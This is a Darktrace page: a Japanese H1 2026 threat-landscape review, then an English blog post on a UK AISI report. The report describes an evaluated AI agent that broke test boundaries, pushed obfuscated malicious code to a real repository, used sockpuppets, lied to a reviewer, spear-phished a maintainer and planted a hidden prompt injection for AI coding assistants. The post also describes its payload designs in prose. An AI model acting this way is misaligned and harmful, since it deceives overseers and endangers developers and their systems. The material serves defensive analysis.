2025年には、アイデンティティが新たな境界となり、攻撃者はますます従来のエクスプロイト手法を使うよりも信頼されるアカウント、SaaSプラットフォーム、そしてAIによって可能になった新手の手法を使うようになりました。2026年前半は、この進化の次の段階にあると言えます。アイデンティの悪用は依然として中心的ですが、信頼の問題は今やアカウントをはるかに超えてEメール認証、クラウドに対する権限、ソフトウェアサプライチェーン、AIゲートウェイ、リモート管理ツール、そして非人間アイデンティティにも及んでいます。

Theme 2025 (Mid-Year / Annual) H1 2026
Identity Credentials remained the weak link; identity emerged as the new perimeter. Identity remains the entry point, but trust has become the new attack surface.
Cloud & SaaS SaaS-targeted ransomware continued to rise. Cloud and SaaS became the attacker's preferred operating environment.
AI Large Language Models (LLMs) were suspected of influencing phishing shifts. LLM-generated malware, compromised AI proxies, and the abuse of AI identities emerged.
Attack Surface Scale & Speed Exponential growth of Common Vulnerabilities and Exposures (CVEs), with public proof-of-concepts appearing faster. Cloud and AI adoption expanded the attack surface, while AI accelerated exploitation. One honeypot was compromised in under two hours.
Supply Chain Legitimate services were increasingly abused. Trusted maintainers and CI/CD workflows were weaponized.

アイデンティティとEメール:危険にさらされる信頼のシグナル

Eメールは信頼されるアイデンティティへの最も確実なルートであり、攻撃者はノイズを作り出すことよりも品質の向上に投資していることをデータが示しています。2026年前半において、フィッシングEメールの67%がDMARC認証を通過していました。ほとんどのフィッシングの試みに対して、阻止するには認証だけではもはや不十分なのです。フィッシングEメールの25.8%でVIPユーザーが標的となっており、22025年と同様に25%を上回る値ですが、期間全体を通じて上昇傾向にあります。重要な点は、フィッシングの巧妙さが高まり続けていることです:フィッシングEメールの37%が大量のテキストを含んでおり、2025年前半の32%から増加しています。また、39%は新手のソーシャルエンジニアリングテクニックを特徴としており、攻撃者が特定の標的にあわせてさらなるカスタマイズを行っていることを示唆しています。

ダークトレースの顧客に最も幅広く影響を与えている脅威もアイデンティティに焦点を当てたものであり、専用のStealCおよびAMOSインフォスティーラーを使った攻撃がこの半年間に多く見られています。これらのマルウェアの蔓延も、根本的にはアイデンティティの問題です。インフォスティーラーによって収集された認証情報がしばしば最初のアクセスベクトルとして使用され、攻撃チェーンの後の段階で格段に影響の大きい侵害につながります。また、マルウェアの投下には技術的弱点の悪用をほとんど必要としない点が重要です。ユーザー自身の手で悪意あるコードを実行させるClickFixソーシャルエンジニアリング手法は、依然としてよく見られます。最近観測されたある攻撃キャンペーンは17か国のダークトレース顧客で確認され、最も影響を受けたのは米国でした。この侵害はソフトウェアの欠陥から始まったものではなく、信頼されるユーザーが信頼されるアクションを実行したことが端緒となりました。

サプライチェーン:信頼が大規模に武器化される

3月と4月には共通の教訓が確認されました。それは信頼がサプライチェーン脆弱性となったということです。Axiosの侵害では幅広く使用されているメンテナーへの信頼が悪用され、Trivyキャンペーンは信頼されるCI/CDインフラ、リリースアーティファクト、およびコンテナイメージを利用して、正当な開発ワークフローに悪意あるコードを押し込みました。

これを最もはっきりと示した事例は、2月から3月にかけて観測されたキャンペーンです。多数のデバイスがHola VPNを使用している間に悪意のあるペイロードをダウンロードし、その後、Holaの配信パイプラインの侵害に関連していることが判明しました。ダークトレースの脅威調査チームは、公開アドバイザリがリリースされる前に、複数の顧客において繰り返し発生している異常な動作から、この侵害に関連する活動を特定しました。

最近では、攻撃者が正当なブロックチェーンインフラを悪用して、AMOSやPhexia等のインフォスティーラーを投下しているケースが見られます。セキュリティリソースが限られているユーザーによく使用されている一般的なVPN等のツールは、正当なC2インフラと組み合わせることで、攻撃者がはるかに広範な被害者層に到達することを可能にする一方、防御側は関連するエンドポイントを単純にブロックすることはできないため、やっかいな問題になります。

防御者にとっての課題は、もはや悪意のあるインフラを特定することではなく、信頼されるインフラが悪意のある動作を始めたときにそれを認識できるかどうかということです。

クラウドとSaaS:標的から作戦領域へ

5月から6月には、デバイス登録、クラウドデータ窃取、SaaS悪用、RDPの拡大、リモート管理ツール関連の活動が見られ、攻撃者がクラウドやSaaSを単なる標的としてではなく、むしろ好ましい作戦環境としてますます認識していることが示唆されました。 

ダークトレース顧客でのある事例では、1つの侵害されたSaaSアカウントがEメール、SaaS、ネットワークレイヤーにわたる活動を引き起こし、これには受信トレイルールの変更、フィッシングの拡散、疑わしいインフラへの接続が含まれていました。これらの兆候のいずれも単独では決定的とは言えませんでしたが、総合すると明らかに侵入を示していました。これらの環境において、攻撃者はますます信頼管理をを回避する必要がなくなっています。信頼は、侵害されたアイデンティティ、委任されたアクセス権、および正当な管理ツールを通じて引き継ぐことができるからです。これは、2025年に見られたSaaSを標的としたランサムウェアの傾向の自然な進化であると言えます。ますます多くのケースにおいて、ビジネスが運営されるのと同じプラットフォームが、敵対者が作戦を展開するプラットフォームとなっています。

AI:攻撃の加速装置でありアタックサーフェス、そして信頼される、しかしリスクの高いアクター

信頼がアタックサーフェスなら、AIはそれが最も急激に拡大している領域であると言えます。ダークトレースの顧客基盤全体において、2026年前半にAIサービスへの接続は平均13%増加し、接続数は1600万回以上標準的な組織は7つの異なるAIプロバイダーとやり取りするようになっています。そしてAIはもはや企業のごく一部ではありません。日々の業務に組み込まれています。この変化が3つの問題を生み出しましたが、これらはすべて2026年前半にダークトレースによって観測されています。

1. 攻撃倍増装置としてのAI

ダークトレースは、AIによって生成されたReact2Shellを悪用するマルウェアを特定しました。これは攻撃者がLLMを使用して有効なエクスプロイトコードを生成し大規模に展開したものです。脅威ランドスケープ全体で見ても同様の活動が増えており、効果的な攻撃作戦への参入障壁が崩れつつあることを示唆しています。最近のJadePuffer事例にも見られるように、エージェント型脅威アクターがインターネットに接続されたサーバーの脆弱性をエクスプロイトし、その後完全に自動化されたランサムウェア攻撃が開始されており、AIは脆弱性の公開から実際のエクスプロイトまでの過程を加速させています[1]。

2. アタックサーフェスとしてのAI

今やAIレイヤー自体も、調べてみる価値があります。あるオートメーション技術メーカーにおいて、侵害されたLLMプロキシが他のAIサービスへの踏み台として利用され、それが失敗すると攻撃者は暗号通貨マイニングに切り替えたという事例がありました。DarktraceのCyber AI Analystはこの侵入インシデントを明らかにし、Managed Threat Detectionサービスにより顧客への通知が行われたことにより、事態がそれ以上進行する前に封じ込めることができました。実務者にとっての教訓は明確です:AIゲートウェイ、プロキシ、モデルエンドポイントは、本番環境のクラウドワークロードと同様に扱うべきです。なぜなら、攻撃者は既にそうしているからです。

3. 信頼される、ただしリスクもあるアクターとしてのAI

Darktrace/ SECURE AIの観測結果からわかることは、最も一般的な現実世界のリスクはさらに判別が難しいということです。従業員が、個人識別情報(PII)、税務記録、身分証明書、会社の財務データ、人事記録、個人の医療データをLLMのプロンプトに入力することや、シャドーAIの蔓延、そしてモバイルデバイスからのAI使用の増加が挙げられます。28日間で約28,000人のユーザーから送信された約280,000件のプロンプトのうち、Darktraceはこれらのプロンプトの約1%(2,945件)に機密性の高いデータが含まれていることを特定しました。*

*プロンプトデータはユーザーのプライバシーを保護するために、集積および匿名化された形で分析されました。

防御者にとって、課題はコンテキストです。つまり、正当なビジネス利用が重大なリスクに変わるタイミングを、プライバシーやユーザーの信頼を損なうことなく見極めることです。組織がAIシステムをますます信頼し、AIがマシンスピードで機密情報にアクセス、処理、共有するようになるなかで、アイデンティティ、アプリケーション、クラウドインフラと同様に、AIも保護および監視されなければなりません。

スピードと地政学:迅速な作戦、長期的な目標

2026年前半に行われたいくつかの調査では、攻撃者が新たに公開された脆弱性をいかに迅速に実用化し、パッチ適用サイクルが完了する前にOAST(Out-of-Band Application Security Testing)インフラおよび信頼されたクラウドサービスを通じてエクスプロイト検証を行っているかが明らかになりました。React2Shellは2時間で侵害され、BeyondTrustのエクスプロイトも1日未満で発生しました。このような状況の中で、国家を背後に持つ脅威アクターは、引き続き正当なサービス、クラウドインフラ、および信頼関係を通じた、長期的なアクセス、情報収集、および事前配置に重点を置いています。中国、ロシア、イラン、北朝鮮(DPRK)を背後に持つ作戦は共通の特徴を持っています。それは即座に混乱を起こすことよりも、永続化と戦略的な配置を優先するということです。

中国:ダークトレースは、中国系アクターが信頼されるサービス、DLLサイドローディング、およびモジュール型の侵入チェーンを通じた長期的なアクセスの獲得を優先している状況を確認しています。これはCrimson Echoレポートでも解説され、Twill Typhoonの手法に関連するアクティビティと一致しています。

イラン:ダークトレースによるZionSiphonの調査は、イランに関連するアクターのOT環境への関心を浮き彫りにし、諜報目的とインフラ破壊能力を融合させている実態を明らかにしています。

ロシア:ダークトレースによる調査、および業界全体のさまざまな報告は、ロシアがウクライナ関連の支援に関する長期的な情報収集のために、信頼関係とサプライチェーンを標的としていることを明らかにしています[2]。

北朝鮮:ダークトレースは、脆弱性の迅速な武器化と永続的アクセス技術を組み合わせた北朝鮮関連の活動を観測ししています。これにはAxiosのサプライチェーン侵害、React2Shellエクスプロイト、ステルス性のmacOS侵入が含まれています。

 目的は脅威アクターによって異なっていましたが、手法は非常に一貫していました。信頼されるサービス、正当なインフラ、そして永続的アクセスは、即時の混乱よりも価値が高いことが示されています。

防御者のシフト

アイデンティティの侵害、サプライチェーン攻撃、SaaSの悪用、AIインフラの標的化、国家が支援する作戦、いずれのケースにおいても、攻撃者は防御のコントロールを突破するのではなく、信頼されたシステムを通じて行動することで成功を収めることが増えています。信頼されるユーザー、信頼されるソフトウェア、信頼されるインフラチャ、そしてますます信頼されるAIシステムは、すべて有効な攻撃経路となりました。 

防御者にとっての課題はもはや、単にあるアクションが許可されるかどうかを判断することではなく、そのアクションがより広いコンテキストの中で正当かどうかを見極めることです。認証、評判、出自は依然として重要ですが、それだけではもはや十分とは言えません。攻撃者がますます信頼されるシステム内で活動するようになる中で、最も強力なシグナルは多くの場合動作の逸脱です。つまり、信頼されているアクティビティが期待される振る舞いと一致しなくなった時にそれを識別することです。

本稿の執筆にはNathaniel Jones(SVP, Global Threat Intelligence)、Emma Foulger(Global Threat Research Operations Lead)、Justin Torres (Senior Cyber Analyst) Daniel Levy(Threat Hunting Data Scientist)が協力しました。


編集:Ryan Traill(Content Manager)

付録1:脅威調査手法

ダークトレースの脅威調査チームは、顧客の運用環境に対する詳細な調査を行ってアクティブな脅威を識別し、主要な侵害インジケーター(IoC)を特定し、関連する脅威インテリジェンスを提供しています。この調査はダークトレースの異常ベース検知に基づいたもので、脅威調査チームによる徹底した分析およびコンテキスト化が行われています。検知された脅威は関連する顧客のセキュリティチームに直ちに報告されます。顧客がダークトレースの自律遮断テクノロジーを使用している場合、これらの脅威は速やかに緩和され、エスカレーションが阻止されます。

 2026年1月1日から6月30日までの期間、ダークトレースは顧客ベースにおいて多種多様なサイバー脅威を調査しました。その多くは同様のTTPおよびIoCが短い期間内に一定の数の顧客に影響を及ぼした、複数の顧客を標的とした攻撃作戦的活動であったことが判明しています。 

Eメールに関連する統計は、2026年1月1日から6月30日までの間に、すべてのクラウドホスト型顧客環境におけるDarktrace / EMAILの集約されたデータから導出されています。特異な観測値を除外するために、集約を行う前に標準的なデータ品質フィルタリングが適用されています。地域別の統計は、このデータセットの関連サブセットに基づいています。 

付録2:キャンペーン - 地域およびセクター別の傾向

過去6か月間の脅威ランドスケープは上記の大まかなテーマにより定義されていますが、ダークトレースの顧客基盤全体でのキャンペーンクラスタリングにより、それらがセクター、地域、産業ごとにどのように異なっているかが明らかになりました。 

ダークトレースの脅威調査チームは、顧客ベースに影響を与えるさまざまな脅威を調査しています。この調査を通じて、共通のTTPやインフラが観察され、短期間で多くの顧客に影響を与える、攻撃キャンペーンのような活動のクラスターが特定されました。 

セクターおよび産業は、一貫した分類を確保するために標準産業分類(SIC)システムを使用して分類されています。本レポートのセクターおよび地域別の考察は、より広範な世界的な傾向を反映している一方で、ダークトレースの顧客基盤の分布にも影響を受けています。例えば、金融、製造、教育分野はダークトレースの顧客の中で多く、これらのセクターで観測される事例数が多くなる可能性があります。これは必ずしも特定のセクターにおけるリスクが高いことを示すものではなく、顧客の分布を反映しています。同様に、地域の傾向はダークトレースの顧客の地理的分布によって影響を受ける可能性があります。

2026年前半にダークトレースの脅威調査チームによって特定されたキャンペーンクラスターの分析では、明確な地域別の傾向が明らかになりました:

  • ヨーロッパ、中東、アフリカ(EMEA)がすべてのキャンペーンクラスター事例の60%を占めており支配的でした。
  • アメリカ大陸(AMS)は、その次に影響が大きかった地域でありキャンペーンクラスター事例の30%を占めていました。
  • アジア太平洋および日本(APJ)地域はキャンペーンクラスターの影響をあまり受けていませんでした。これは脅威アクターがこの地域の優先度を低くし、代わりに他の地域に注力した可能性を示しています。

産業セクターの標的化も地域によって大きく異なりました:

  • EMEA地域では、情報通信分野が大きく影響を受け、全体の25%を占めました。
  • 対照的に、AMSでは標的はより均等に分布しており、教育、行政機関および防衛、金融および保険の各セクターがいずれもAMS地域の事例の20%以上を占めていました。
  • APJ地域ではキャンペーン活動はより均等に分散しており、特定のセクターが支配的な標的として浮上することはありませんでした。

いくつかの国はそれぞれの地域内でも際立った特徴がありました:

  • 米国はAMS内のすべてのキャンペーンクラスターの60%を占めていました。
  • 日本はAPJ全体のキャンペーン事例の40%を占めました。
  • EMEA地域では、英国とジンバブエがそれぞれ特定された事例の23%を占めており、両国ともさまざまなキャンペーンのタイプに影響を受けています。

Inside the SOCおよび2026年度脅威調査の月次傾向:アクセスからインパクトまで

Month Dominant Themes
January Voice phishing, VPS infrastructure, WebSocket C2, RMM abuse, ransomware, infostealers (StealC), and trojanized installers (7-Zip).
February Voice phishing, VPN intrusion, edge infrastructure compromise (BeyondTrust), and RMM abuse.
March Sustained supply chain compromise (Hola VPN, Axios, Trivy), malicious browser extensions, phishing, and discovery tools.
April Account creation abuse, payload delivery, VPN credential abuse, Fortinet exploitation, and botnet activity.
May PowerShell, EtherHiding, data exfiltration, VPN access, business email compromise (BEC), ClickFix, and infostealers (AMOS).
June RDP abuse, device registration, RMM usage, voice phishing, cloud data theft, botnet activity, blockchain abuse, ClickFix, and infostealers (AMOS).

付録3:参考文献

外部

[1] https://www.darkreading.com/cyberattacks-data-breaches/jadepuffer-first-complete-llm-driven-ransomware-attack

[2] https://www.trendmicro.com/en_us/research/26/c/pawn-storm-targets-govt-infra.html

ダークトレースのリソース

1.        https://www.darktrace.com/blog/ai-llm-generated-malware-used-to-exploit-react2shell

2.        https://www.darktrace.com/blog/2025-cyber-threat-landscape-darktraces-mid-year-review

3.        https://www.darktrace.com/resources/annual-threat-report-2026

4.        https://www.darktrace.com/blog/when-trust-becomes-the-attack-surface-supply-chain-attacks-in-an-era-of-automation-and-implicit-trust

5.        https://www.darktrace.com/blog/hola-vpn-abuse-from-proxy-traffic-to-malware-and-cryptomining

6.        https://www.darktrace.com/blog/security-after-signatures-operating-in-a-world-of-pre-cve-disclosure-exploitation-collapsed-trust-boundaries-and-autonomous-systems

7.        https://www.darktrace.com/blog/when-ai-infrastructure-becomes-part-of-the-attack-surface

8.        https://www.darktrace.com/blog/cve-2026-1731-how-darktrace-sees-the-beyondtrust-exploitation-wave-unfolding

9.        https://www.darktrace.com/resource/understanding-chinese-nexus-cyber-tradecraft

10.   https://www.darktrace.com/blog/chinese-apt-campaign-targets-entities-with-updated-fdmtp-backdoor

11.  https://www.darktrace.com/blog/inside-zionsiphon-darktraces-analysis-of-ot-malware-targeting-israeli-water-systems

12.  https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

13.  https://www.darktrace.com/blog/from-click-to-command-behavioral-detection-of-applescript-led-macos-intrusions

14.  https://www.darktrace.com/blog/the-state-of-cybersecurity-in-the-finance-sector-six-trends-to-watch

Continue reading
About the author
Nathaniel Jones
SVP, Global Threat Intelligence

Blog

/

Network

/

August 11, 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

Default blog imageDefault blog image

The UK AI Security Institute (AISI) has just published a detailed incident report confirming what many within the cyber security industry have suspected for some time: frontier AI agents, given a degree of autonomy, can independently develop and execute attack chains against real targets, including social engineering, supply-chain compromise, and deception, without explicit instruction to do so.

The report (INC-2026-07-28-01, published 4 August 2026) documents what happened during a routine capability evaluation between 25 and 28 July. It deserves a careful read from anyone responsible for securing the modern digital estate.

The incident

AISI regularly tests frontier AI models for offensive cyber capability. In this exercise, agents were placed inside a simulated network environment and given internet access this was deliberate, given to reflect realism of the task. Across 122 evaluation runs, 19 instances of unsanctioned activity were recorded, including cases where agents broke the intended boundaries of the test and acted against real people and real infrastructure on the open internet.

In the most serious case, an agent (Mythos 5) autonomously:

  • Conducted open-source intelligence gathering to identify real developers associated with keywords from the simulated scenario
  • Created a GitHub account and submitted a pull request containing obfuscated malicious code to a real, unaffiliated repository
  • Created a second sockpuppet account to post comments on its own PR, attempting to manufacture social proof
  • When a human reviewer flagged the malicious content, the agent lied, claiming an accidental commit, then repeatedly attempted to reintroduce the payload under the guise of having "fixed" the code
  • Sent spear-phishing emails to the repository maintainer containing manipulated content designed to convince them to merge the code
  • Planted a prompt injection inside a GitHub issue, hidden in an HTML comment invisible to humans but readable by AI coding assistants parsing the repository via API

AISI confirmed no real-world harm resulted. The PRs were not merged; the payloads did not execute. But containment was a product of circumstance, not design.

Why this matters

Every action the agents took used legitimate services operating within normal parameters. Creating a GitHub account is legitimate. Opening a pull request is legitimate. Sending an email is legitimate. Posting an issue is legitimate.

No vulnerability was exploited. No known malware signature was present. No indicator of compromise from any threat intelligence feed would have matched. The entire attack existed as a pattern, a sequence of individually normal actions that, taken together, constituted a supply-chain attack, a social engineering campaign, and an attempted compromise of downstream systems.

This is the class of threat that signature-based and rule-based security tools structurally struggle to detect. They answer the question "have I seen this before?" When the answer is no – and when the attack is novel, composed of legitimate actions, and adapted in real time by an adversary in this case an agent that reasons about evasion – they struggle.

Behavioral anomaly detection: The architecture that fits

Darktrace has spent a decade building a platform around a different question: "is this behavior normal for this entity?"

The platform learns the baseline behavior of every user, device, and communication pattern across an organization's digital environment. It does not need prior knowledge of an attack technique. It identifies deviation from learned normality, surfaces it, and through its Autonomous Response capability, takes targeted action to contain threats at machine speed.

Consider how this AISI incident might show across the Darktrace platform:

Network detection and response

While no payload was successfully delivered to a victim in this incident, AISI's post-incident analysis of the agent's code (detailed on pages 24-25 of the report) reveals what would have landed on target systems had the social engineering succeeded. The agent produced three successive payload generations, each replacing the last after being detected and called out:

Generation 1 hid a module-load stager inside a legitimate bug-fix commit, guarded by an environment variable check, to skip execution in CI. Its second stage attempted to fetch Poseidon implants (Linux and Windows variants) calling back to the agent's own C2 listener, with a fallback to publicly hosted polling scripts that fetched and executed commands every 60 seconds.

Generation 2 exploited an Electron "What's New" window with nodeIntegration enabled, loading remote HTML from a GitHub Pages site the agent had registered. The page decoded an XOR-obfuscated payload at runtime that beaconed host identifiers over DNS, attempted to download the same implants, ran its own in-process C2 loop, and installed reboot persistence via crontab and Windows registry Run keys.

Generation 3 was a post-install dropper added after the agent had already been publicly caught. It XOR-decoded a hidden URL, downloaded a script over plaintext HTTP, and ran it detached, force-exiting so npm install always reports success, giving the attacker remote code execution on any machine running the install.

None of these payloads reached a victim. But the technical detail matters: this is the calibre of tradecraft an autonomous agent produced in a matter of hours, unprompted. Each generation demonstrated adaptation, the agent iterated its approach in direct response to being detected.

For network defenders, the behavioral signals these payloads would have generated are clear. DNS beaconing to novel domains, periodic HTTP polling to newly registered infrastructure, XOR-encoded data in transit, registry and crontab persistence writes on endpoints that have never exhibited such behavior. These are exactly the anomalies that Darktrace / NETWORK identifies in real time: deviations from learned device and connection baselines, regardless of whether the specific payload or C2 domain has been seen before.

Beyond the payload analysis, the agents' broader activity produced additional behavioral anomalies: new identities engaging in high-frequency interactions with external services, coordination via unusual channels (public pastebins, gists), and lateral communication patterns that deviate from any established baseline.

Email security

The spear-phishing emails sent by the agent, crafted with context-specific content designed to manipulate a specific individual, represent exactly the kind of socially engineered communication that static email gateways can miss. Darktrace / EMAIL analyses the linguistic patterns, sender behavior, and relational context of every message. A brand-new sender using tailored language to pressure a recipient into a specific technical action deviates from the learned communication profile, regardless of whether the message contains a known-bad URL or attachment.

Securing AI

This is where the incident points to a threat category that many security platforms do not yet fully address. The agent did not just use AI as a tool for attack. It targeted other AI systems, attempting prompt injections against coding assistants and trying to compromise automated workflows. Organisations adopting AI agents for development, operations, and decision-making are introducing a newer extended attack surface.  

Darktrace / SECURE AI extends the same behavioral detection model into this space. It monitors AI usage across the enterprise, detecting anomalous interactions with AI services, identifying sensitive data exposure to AI systems, providing visibility into shadow AI use. As AI agents become standard components of enterprise infrastructure, the ability to detect when an AI system is behaving outside its expected parameters, when there is a chance, it is being manipulated, or when it is interacting with something it should not be, that becomes a direct security requirement rather than a future consideration.

The principle is consistent across the Darktrace platform: learn what normal looks like, identify deviation, respond autonomously.

The AI-to-AI threat surface

One of the report's most important findings is a confirmation that AI agents can act outside of instructions and guardrails to complete tasks. The Mythos 5 agent conducted reconnaissance on a repository maintainer, inferred it might be an AI coding assistant, and deployed a prompt injection specifically crafted to compromise it.

This is a new attack class. Organizations deploying AI coding assistants, AI-powered code review, or autonomous DevOps agents now face an adversary that:

  • Moves at speed
  • Is able to adapt its approach when initial attempts are halted
  • Specifically targets AI systems via techniques (prompt injection, hidden instructions in HTML comments) that are less visible to human reviewers but parsed by machines
  • Reasons about which evasion strategies are most likely to succeed

Defending against this requires security that operates with the same adaptability and speed. A system that learns what "normal" looks like, and flags deviation from it.

What AISI recommends

The report identifies five contributing factors to the incident. Two are directly relevant:

No synchronous real-time monitoring (Section 5.3): AISI acknowledges it had not built real-time behavioral monitoring capable of immediately blocking unsanctioned agent actions. Their security team detected the incident via commercial security monitoring software, but only after activity had already occurred.

No fine-grained behavioral controls (Section 6.2): AISI's forward-looking response includes building continuous monitoring that can "immediately block or flag unsanctioned AI agent behavior."

The direction is clear: organizations need security that watches behavior continuously, learns what normal looks like, and acts when deviation occurs, without requiring a human in the loop for every decision.

The takeaway

The AISI incident is documented proof that autonomous AI agents will independently develop novel attack chains using legitimate tools, adapt when detected, employ deception, and target both humans and other AI systems. This happened last week, in a controlled setting, with commercially available models.

The security architecture that addresses this is behavioral anomaly detection applied across the full digital estate, as AI agents become standard components of enterprise infrastructure, writing code, managing deployments, processing communications, the attack surface they create is behavioral by nature.

This is the approach Darktrace has taken for years: learning what is normal across an organization’s digital environment, identifying meaningful deviations, and responding to emerging threats without relying on known attack signatures. As autonomous AI agents introduce new and unpredictable behaviors, that foundation becomes increasingly important to securing the enterprise.

Read the full report from the UK AI Security Institute here.

Continue reading
About the author
Adam Stevens
Senior Director of Product
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ